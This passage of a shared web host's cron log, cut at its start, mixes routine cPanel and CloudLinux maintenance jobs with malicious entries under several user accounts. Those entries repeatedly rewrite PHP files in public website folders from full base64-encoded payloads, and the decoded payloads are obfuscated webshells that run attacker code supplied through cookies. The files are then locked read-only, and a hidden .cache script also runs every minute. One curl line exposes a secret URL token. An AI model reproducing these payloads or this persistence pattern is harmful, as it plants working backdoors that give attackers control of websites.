np6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:49:02 medusa CROND[20096]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:49:02 medusa CROND[20097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:49:02 medusa CROND[20098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:50:03 medusa CROND[21916]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:50:03 medusa CROND[21918]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:50:03 medusa CROND[21917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21921]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:50:03 medusa CROND[21920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:50:03 medusa CROND[21923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21924]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21922]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 14:50:03 medusa CROND[21925]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:50:03 medusa CROND[21926]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:50:03 medusa CROND[21927]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:50:03 medusa CROND[21929]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:50:03 medusa CROND[21928]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:50:03 medusa CROND[21930]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:50:03 medusa CROND[21933]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:50:03 medusa CROND[21934]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:50:03 medusa CROND[21935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:50:03 medusa CROND[21937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:50:03 medusa CROND[21938]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:50:03 medusa CROND[21939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:50:03 medusa CROND[21942]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:50:03 medusa CROND[21941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:50:03 medusa CROND[21944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:50:03 medusa CROND[21946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:50:03 medusa CROND[21951]: (root) CMD (/usr/bin/kcarectl --auto-update )
Jun  7 14:50:03 medusa CROND[21940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:51:02 medusa CROND[23993]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:51:02 medusa CROND[23994]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:51:02 medusa CROND[23995]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:51:02 medusa CROND[23996]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:51:02 medusa CROND[24000]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:51:02 medusa CROND[24002]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:51:02 medusa CROND[24003]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:51:02 medusa CROND[24005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:51:02 medusa CROND[24006]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
